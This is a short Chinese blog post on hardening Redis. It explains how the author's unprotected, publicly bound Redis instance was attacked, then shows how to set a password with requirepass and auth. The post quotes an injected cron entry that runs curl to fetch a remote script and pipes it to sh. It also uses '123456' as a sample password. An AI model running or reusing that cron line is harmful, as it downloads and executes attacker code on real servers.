Redis被攻击(Redis安全性)

一、为什么会被攻击

    虽然Redis是有安全模式的,但是默认Redis没有开启密码验证,Redis被设计成仅有可信环境下的可信用户才可以访问。为了方便,在测试时直接将redis配置文件中的bind 127.0.0.1给注释掉了,并且关闭了防火墙,导致redis实例会监听所有的连接,从而被攻击。如果灭有设置密码(或很简单)就很容易会被攻击到,导致数据丢失(一个FLUSHALL命令就会清空Redis的所有数据),被植入其他内容。
    举个例子:我的被攻击后写入了一些其他内容如下:
在这里插入图片描述
查询一下某一个键的内容为如下形式:(不是很懂,应该被植入了一些脚本文件)

"\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"

二、认证机制

    Redis提供了一个轻量级的认证方式,设置后,每一个连接在操作数据之前需要进行认证,密码由管理员在redis.conf的配置文件中明文设置,因为redis访问非常快,为了安全,密码一般较长且复杂,来防止暴力攻击。详细参考:Redis安全性

三、设置密码

常用命令:

config get requirepass       # 查询获取当前密码
config set requirepass 123456     # 将redis的密码设置为123456
auth 123456     # 进入redis之后,在执行命令之前需要通过此方式输入密码来验证

设置流程如下:
在这里插入图片描述



关于作者:

个人网站:http://beyonderwei.com
邮箱:beyonderwei@gmail.com
微信公众平台